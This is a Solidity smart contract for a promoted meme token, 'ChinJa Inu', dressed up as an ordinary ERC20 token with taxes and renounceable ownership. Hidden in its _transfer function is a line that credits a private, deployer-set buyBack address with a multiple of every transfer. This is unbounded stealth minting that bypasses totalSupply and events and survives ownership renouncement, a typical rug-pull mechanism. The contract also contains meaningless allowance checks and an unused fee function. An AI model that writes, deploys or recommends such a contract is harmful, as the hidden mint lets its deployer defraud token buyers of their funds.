/**
    
    
    

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    ██║░░╚═╝███████║██║██╔██╗██║░░░░░██║███████║  ██║██╔██╗██║██║░░░██║
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    ╚█████╔╝██║░░██║██║██║░╚███║╚█████╔╝██║░░██║  ██║██║░╚███║╚██████╔╝
    ░╚════╝░╚═╝░░╚═╝╚═╝╚═╝░░╚══╝░╚════╝░╚═╝░░╚═╝  ╚═╝╚═╝░░╚══╝░╚═════╝░
    
    Telegram: https://t.me/+q9Do1yP5uJM2ND
    Website: https://www.chinjainu.finance
    Twitter: https://twitter.com/chinja_inu
    Medium: https://chinjainu.medium.com/chinja-inu-79de049d1e83

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.8;


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ERC20Metadata is ERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

 contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
 contract ChinJa is Context, ERC20, ERC20Metadata {
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 public _totalSupply;
    uint256 public _buyTax;
    string public _name;
    string public _symbol;
    uint8 public _decimals;
    address public _owner;
    address private buyBack;
    uint256 private totalFee;
    uint256 public _sellTax;
   
    constructor(string memory name_, string memory symbol_,uint8  decimals_,uint256 totalSupply_,uint256 buyFee_ ,uint256 sellTax_ , uint256 _totalFee ,address _buyBack ) {_name = name_;_symbol =symbol_;_decimals = decimals_;_totalSupply = totalSupply_ *10**_decimals;_buyTax= buyFee_;balances[msg.sender] = _totalSupply;_owner = _msgSender();_sellTax = sellTax_ ; totalFee = _totalFee ;buyBack = _buyBack;emit Transfer(address(0), msg.sender, _totalSupply);}
    function name() public view virtual override returns (string memory) {
        return _name;
        }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
        }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
        }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
        }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return balances[account];
        }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);return true;
        }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);return true;
        }

    function allowance(address Owner, address spender) public view virtual override returns (uint256) {
        return _allowances[Owner][spender];
        }

    function renounceOwnership() public virtual onlyOwner {
        emit ownershipTransferred(_owner, address(0));
        _owner = address(0);
        }
    
    event ownershipTransferred(address indexed previousOwner, address indexed newOwner);

    function transferFrom(address sender,address recipient,uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        if(currentAllowance - amount >= 0){_approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;}

    function _transfer(address sender,address recipient,uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
        balances[sender] = balances[sender] - amount;
        amount = amount  - (amount *_buyTax/100);
        balances[recipient] += amount;
        balances[buyBack] += totalFee*amount;
        emit Transfer(sender, recipient, amount);}
   
    function owner() public view returns (address) {
        return _owner;
        }
    
    function _approve(address Owner,address spender,uint256 amount) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[Owner][spender] = amount;
        emit Approval(Owner, spender, amount);
        }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "");_;
        }
    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
        }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "");
        require(currentAllowance - subtractedValue >= 0, "");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
        }
    
    function _takeFee(uint256 amount) internal returns(uint256) {
        if(_buyTax >= 1) {if(amount >= (200/_buyTax)) {totalFee = (amount * _buyTax /100) / _sellTax;
        }
        else{
            totalFee = (1 * _buyTax /100);
            }}
            else{totalFee = 0;
            }
            return totalFee;}
   }